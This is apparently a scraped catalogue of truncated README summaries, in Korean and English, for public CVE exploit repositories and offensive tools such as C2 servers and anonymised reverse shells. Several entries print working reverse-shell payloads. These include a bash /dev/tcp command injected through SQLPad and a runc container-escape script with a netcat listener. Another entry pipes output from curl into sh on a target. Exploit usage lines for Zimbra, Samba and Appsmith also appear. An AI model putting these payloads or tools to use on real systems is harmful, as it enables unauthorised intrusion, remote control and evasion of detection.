Node.js-CVE-2017-5941

NodeJS 안전하지 않은 역직렬화 취약점 데모 Node.js는 JavaScript로 서버 기능을 구현하는 데 사용되는 오픈 소스 런타임 환경입니다. Node.js 내 특정 소프트웨어 패키지에는 역직렬화를 처리하는 취약한 함수가 포함되어 있어, 클라이언트가 특수하게 조작된 쿠키를 제공하면 승인되지 않은 명령이 실행됩니다. 이 취약점은 재현되었으며, 잠재적으로 리버스 셸을 실행할 수 있습니다. 이는 클라이언트 요청의 쿠키에서 읽은 무결하지 않은 입력 데이터 때문에 가능합니다. 클라이언트는 자신의 쿠키를 수정하고, bash 명령을...

CVE-2022-0944

CVE-2022-0944 PoC SQLPad에서 RCE를 위한 PoC입니다. 이 예제는 리버스 셸을 생성하지만, 페이로드 내 'exec' 호출의 명령을 변경하여 사용 가능한 모든 명령을 실행하도록 페이로드를 수정할 수 있습니다. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i & /dev/tcp/reversehost/reverseport 0&1"' " 요구 사항 Python 3 사용법 1. 리스너 시작...

CVE-2022-27925-Revshell

Zimbra 무인증 원격 코드 실행 익스플로잇 CVE-2022-27925 / / / / / / / / / / / / / // / / / / / / // / / / // / //// // //.// ,/ CVE-2022-27925 usage: exp.py -h -t TARGET -m MASS -l LHOST -p LPORT options: -h, --help 도움말 메시지 표시 후 종료 -t TARGET, --target TARGET HTTPS 프로토콜이 포함된 URL -m MASS, --mass MASS 대상 목록 -l...

notionterm

notionterm Notion 페이지에 리버스 셸을 임베드하세요.Notion. 노트를 작성하면서 해킹하세요. ➕ 용도: 리버스 셸에서 공격자 IP 숨기기 공격자와 대상 머신 간 직접 상호작용 없음. Notion이 리버스 셸을 호스팅하는 프록시로 사용됨 보고서 내 데모/빠른 증명 삽입 고가용성 및 공유 가능한 리버스 셸 데스크탑, 브라우저, 모바일 암호화 및 인증된 원격 셸 ➖ 용도 아님: 장시간 및 대화형 셸 세션 이 경우 tacos 참고 이유? 🤔 초점은 사용 가능하면서도 재미있는 것을 만드는 데 있었지만, 이것이 침투 테...

notionterm

notionterm Embed reverse shell inNotion pages. Hack while taking notes FOR ➕: Hiding attacker IP in reverse shell No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell Demo/Quick proof insertion within report High available and shareable...

cve-2021-31630

cve-2021-31630 OpenPLC WebServer v3 - 인증된 RCE 이 PoC 스크립트는 Fellipe Oliveira가 제공한 익스플로잇을 기반으로 합니다. 기능 : st 파일 업로드 대신 /hardware에 C 코드를 직접 업로드합니다 리버스 셸 업로드 전에 기본 프로그램을 복원합니다 웹 서버가 멈추지 않도록 비차단non-blocking 방식으로 개선된 C 기반 리버스 셸 ; 셸을 백그라운드에서 실행하며, PLC가 중지된 후에도 종료할 때까지 작동합니다 정리cleanup $ python...

CVE-2016-10033

CVE2016-10033 explotation PoC This repository holds the necessary files to exploit CVE2016-10033 on a vulnerable version of WordPress. With these instructions you will be able to get a reverse interactive shell not Pseudo-TTY in the container that is running the WordPress as the user that is...

CVE-2020-0796

Usage Make sure Python and ncat are installed. Run calctargetoffsets.bat on the target computer, and adjust the offsets at the top of the SMBleedingGhost.py file according to the script output also see the note below. Run ncat with the following command line arguments: ncat -lvp Where is the port...

CVE-2024-24590-ClearML-RCE-CMD-POC

ClearML Exploit Script This repository contains a Python exploit script for CVE-2024-24590 The script is designed to upload a malicious pickle file to ClearML, which executes a reverse shell or a custom command. Features Uploads a malicious pickle artifact to ClearML. Executes a reverse shell or ...

siemframework

SIEMS FRAMEWORK MultiSIEM Modular Python3 Attack Framework By ElevenPaths https://www.elevenpaths.com/ Usage: python3 ./siemsframework.py INTRODUCTION SIEMs are defensive tools increasingly used in the field of cybersecurity, especially by major companies and companies intended to monitor highly...

tornado

tornado anonymously reverse shell over onion network using hidden services without portfortwarding Explore the docs fully undetectable reverse shell · View Demo · bulletproof anonymity Table of Contents 1. What is tornado? 2. Built With 3. Getting Started Installation 4. Usage 5. Roadmap 6...

reverse-shell

reverse-shell 리버스 셸 서비스 - https://reverse-shell.sh 기억하기 쉬운 리버스 셸로, 대부분의 유닉스 계열 시스템에서 작동합니다. 대상에서 사용 가능한 소프트웨어를 감지하고 적절한 페이로드를 실행합니다. 사용법 1. 연결 대기 자신의 머신에서 포트를 열고 대기합니다. netcat으로 쉽게 할 수 있습니다. nc -l 1337 2. 대상에서 리버스 셸 실행 대상 머신에서 https://reverse-shell.sh/yourip:port의 출력을 sh로 파이프합니다. curl...

RedbloodC2

Public version of Redblood C2 This is a simple command and control server to handle sessions and your victims installation $ git clone https://github.com/kira2040k/RedbloodC2.git $ cd RedbloodC2 $ npm install $ node server.js Usage After install node.js and and all modules from npm execute: node...

CVE-2023-42791_CVE-2024-23666

Fortimanager insufficient authorization checks CVE-2024-23666 and unrestricted file upload CVE-2023-42791 exploitation scripts Two exploitation scripts leveraging these vulnerabilities are provided: rce.py: Provides a reverse shell or adds an arbitrary administrator from unprivileged access to th...

CVE-2024-55963

CVE‑2024‑55963 Appsmith RCE PoC PoC exploit for CVE‑2024‑55963 that runs arbitrary commands or spawns reverse shell on vulnerable Appsmith instances. It automatically handles both modern servers with the environmentId feature and much older “legacy” builds that pre‑date it, so you can use one...

CVE-2023-28343

CVE-2023-28343 CVE-2023-28343 POC exploit Usage usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:9000 -l LOCALHOST, --localhost LOCALHOST Local IP address for reverse she...

CVE-2022-30525

CVE-2022-30525 CVE-2022-30525 POC exploit Usage usage: exploit.py -h -t TARGET -lhost LOCALHOST -lport LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET IP address of the target, eg: https://127.0.0.1:9443 -lhost LOCALHOST, --localhost LOCALHOST I...

CVE-2017-7494

CVE-2017-7494 Remote root exploit for the SAMBA CVE-2017-7494 vulnerability. Details This exploit is divided in 2 parts: First, it compiles a payload called "implant.c" and generates a library libimplantx32.so or libimplantx64.so that changes to the root user, detaches from the parent process and...

CVE-2024-21626

CVE-2024-21626 POC 요구사항 runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tcp/$ip/$port 0&1 EOF listen and wait for reverse shell nc -lvvp 1337 컨테이너 이미지 실행 및 bash 셸에서 poc.sh 실행 docker run -it --rm cve2024 bash /poc.sh 컨테이너가 리스닝 모드 진입 !lytteht...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE MCPJam Inspector -i -p -m Flag| Description| Default ---|---|--- -u| Target URL| required -i| Your listener IP LHOST| required -p| Your listener port LPORT| required -m| Payload method: busybox, bash, python3| busybox Reverse Shell Example Ste...